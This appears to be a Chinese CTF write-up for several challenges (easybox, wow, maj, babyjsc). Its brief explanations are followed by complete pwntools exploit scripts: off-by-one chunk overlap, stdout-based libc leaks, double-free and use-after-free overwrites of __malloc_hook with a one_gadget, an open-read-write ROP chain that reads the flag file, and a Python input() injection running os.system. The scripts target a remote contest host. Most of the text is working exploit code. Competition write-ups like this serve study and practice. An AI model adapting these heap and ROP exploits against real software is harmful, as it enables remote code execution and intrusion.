其中没有nofree这个题,因为我没做,学长做的,那个题是2.23的堆溢出而且没有程序地址随机化,应该不难 附件
thebest
1 | strings filename -n 1 | tr -d '\n' |
2 |
|
babyjsc
非预期吧,python的input函数是个漏洞函数,直接导致rce
1 | __import__('os').system('cat /home/ctf/flag') |
easybox
因为单字节溢出,所以构造一个chunk overlap 即可,首先用IO_2_1_stdout 泄漏 libc地址,然乎一个double free 打 malloc_hook
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('>>>',str(ch)) |
5 | def new(index,size,content): |
6 | menu(1) |
7 | p.sendlineafter('idx:',str(index)) |
8 | p.sendlineafter('len:',str(size)) |
9 | p.sendafter('content:',content) |
10 | def free(index): |
11 | menu(2) |
12 | p.sendlineafter('idx:',str(index)) |
13 | p = process('./main') |
14 | p = remote('101.200.53.148',34521) |
15 | libc =ELF('./libc-2.23.so.bak') |
16 | new(0,0x18,'FMYY') |
17 | new(1,0xF8,'FMYY') |
18 | new(2,0x48,'FMYY') |
19 | new(3,0x88,'FMYY') |
20 | new(4,0xF8,'FMYY') |
21 | new(5,0x18,'FMYY') |
22 | free(0) |
23 | new(0,0x18,'\x00'*0x18 + '\xE1') |
24 | free(1) |
25 | new(1,0xF8,'FMYY') |
26 | new(2,0x48,'FMYY') |
27 | new(6,0x88,'\x00'*0x68 + p64(0x121)) |
28 | free(2) |
29 | new(2,0x48,'\x00'*0x48 + '\x71') |
30 | free(3) |
31 | free(2) |
32 | new(2,0x48,'\x00'*0x48 + '\x91') |
33 | free(6) |
34 | new(7,0x18,'\xDD\x25') |
35 | free(2) |
36 | new(2,0x48,'\x00'*0x48 + '\x71') |
37 | new(8,0x68,'FMYY') |
38 | new(9,0x68,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88') |
39 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
40 | log.info('LIBC:\t' + hex(libc_base)) |
41 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
42 | rce = libc_base + 0xF1207 |
43 | new(15,0x68,'FMYY') |
44 | free(15) |
45 | free(8) |
46 | new(8,0x68,'\x00'*0x18 + p64(0x71) + p64(malloc_hook - 0x23)) |
47 | new(14,0x68,'FMYY') |
48 | new(15,0x68,'\x00'*0x13 + p64(rce)) |
49 | menu(1) |
50 | p.sendlineafter('idx:',str(10)) |
51 | p.sendlineafter('len:',str(0x10)) |
52 | p.interactive() |
wow
1 | ''' |
2 | @ ptr += 1 |
3 | # ptr -= 1 |
4 | ^ *ptr += 1 |
5 | | *ptr -= 1 |
6 | & write(1,ptr,1) |
7 | $ read(0,ptr,1) |
8 | * (*ptr)<<2 |
9 | ~ ~(*ptr) |
10 | { be similar to while |
11 | } |
12 | ''' |
逆出后为上述代码
因为输入N结束的时候,会检测最开始的那个存放字符串的指针,所以我们需要修复,而又因为修复后的指针指向的位置如果有合法的指令,则会继续执行该指令 会导致越界从而被检测,所以在leak了stack之后,还需要一顿操作对原string的位置的字符串 修改为不合法的置令,我此处修改的为 ‘\x01’0x10,之后可以通过 输入N后的检测,然后 rsp+0x4E8 + ‘pop’6 之后的地址则为返回地址,所以同样修改指针末字节然乎往ret地址填一个rop,记得再次修复指针指向原位置
1 | from pwn import* |
2 | p = process('./main') |
3 |
|
4 | payload = '${@$}@$' |
5 | payload = payload.replace('\n','') |
6 | p = remote('101.200.53.148',15324) |
7 | p.sendlineafter('enter your code:',payload) |
8 | for i in range(0x400): |
9 | p.send('\xFF') |
10 | p.send('\x10') |
11 | stack = u64(p.recvuntil('\x7F',timeout=0.2)[-6:].ljust(8,'\x00')) |
12 | log.info('Stack:\t' + hex(stack)) |
13 | p.send('Y') |
14 | p.sendlineafter('enter your code:','F'*0x10 + '\x08' + '\x01'*0x10) |
15 | p.send('Y') |
16 |
|
17 | p.sendlineafter('enter your code:','F'*0x8 + '\x78') |
18 | p.send('Y') |
19 | p.sendlineafter('enter your code:','F'*0x10 + '\x48') |
20 | p.send('Y') |
21 |
|
22 | target_FLAG = stack + 0x138 |
23 | mov_rax_1 = 0x524300 |
24 | mov_rax_2 = 0x524310 |
25 | mov_rax_rsi = 0x417427 |
26 | pop_rdi_ret = 0x4047BA |
27 | pop_rsi_ret = 0x407578 |
28 | pop_rdx_ret = 0x40437F |
29 | pop_rsp_ret = 0x405831 |
30 | syscall = 0x52A725 |
31 | rop = '\x00'*0x30 |
32 | rop += p64(pop_rdi_ret) + p64(target_FLAG) |
33 | rop += p64(pop_rsi_ret) + p64(0) |
34 | rop += p64(pop_rdx_ret) + p64(0) |
35 | rop += p64(mov_rax_2) |
36 | rop += p64(syscall) |
37 | rop += p64(pop_rdi_ret) + p64(3) |
38 | rop += p64(pop_rsi_ret) + p64(0) |
39 | rop += p64(mov_rax_rsi) |
40 | rop += p64(pop_rsi_ret) + p64(0x5D9B00) |
41 | rop += p64(pop_rdx_ret) + p64(0x30) |
42 | rop += p64(syscall) |
43 | rop += p64(pop_rdi_ret) + p64(1) |
44 | rop += p64(pop_rsi_ret) + p64(0x5D9B00) |
45 | rop += p64(pop_rdx_ret) + p64(0x30) |
46 | rop += p64(mov_rax_1) |
47 | rop += p64(syscall) |
48 | rop += './flag\x00' |
49 |
|
50 | p.sendlineafter('enter your code:',rop) |
51 | p.send('Y') |
52 | p.sendlineafter('enter your code:',payload) |
53 | for i in range(0x400): |
54 | p.send('\x20') |
55 | p.send('\x20') |
56 | p.send('N') |
57 | p.interactive() |
58 |
|
59 |
|
60 | ''' |
61 | @ ptr += 1 |
62 | # ptr -= 1 |
63 | ^ *ptr += 1 |
64 | | *ptr -= 1 |
65 | & write(1,ptr,1) |
66 | $ read(0,ptr,1) |
67 | * (*ptr)<<2 |
68 | ~ ~(*ptr) |
69 | { be similar to while |
70 | } |
71 | ''' |
maj
一个UAF洞,没有leak则利用stdout leak libc,之后打malloc_hook即可
1 | from pwn import* |
2 | context.log_level ='DEBUG' |
3 | def menu(ch): |
4 | p.sendlineafter('>> ',str(ch)) |
5 | def new(size): |
6 | menu(1) |
7 | p.sendlineafter('question','80') |
8 | p.sendlineafter('______?',str(size)) |
9 | p.sendlineafter('yes_or_no?','FMYY') |
10 | def free(index): |
11 | menu(2) |
12 | p.sendlineafter('index ?',str(index)) |
13 | def edit(index,content): |
14 | menu(4) |
15 | p.sendlineafter('index ?',str(index)) |
16 | p.sendafter('__new_content ?',content) |
17 | while True: |
18 | p = process('./main') |
19 | p = remote('101.200.53.148',15423) |
20 | libc =ELF('./libc-2.23.so') |
21 | try: |
22 | new(0x80) |
23 | new(0x60) |
24 | new(0x60) |
25 | new(0x20) |
26 | new(0x60) |
27 | new(0x60) |
28 | new(0x20) |
29 | free(0) |
30 | new(0x18) |
31 | new(0x60) |
32 | free(1) |
33 | free(2) |
34 | edit(2,'\x20') |
35 | edit(8,'\xDD\x25') |
36 | new(0x60) |
37 | new(0x60) |
38 | new(0x60) |
39 | edit(11,'\x00'*0x33 + p64(0xFBAD1800) + p64(0)*3 + '\x88') |
40 | libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_'] |
41 | log.info('LIBC:\t' + hex(libc_base)) |
42 | malloc_hook = libc_base + libc.sym['__malloc_hook'] |
43 | rce = libc_base + 0xf1207 |
44 | free(1) |
45 | edit(1,p64(malloc_hook - 0x23)) |
46 | new(0x60) |
47 | new(0x60) |
48 | edit(13,'\x00'*0x13 + p64(rce)) |
49 | free(1) |
50 | free(1) |
51 | break |
52 | except: |
53 | p.close() |
54 | continue |
55 | p.interactive() |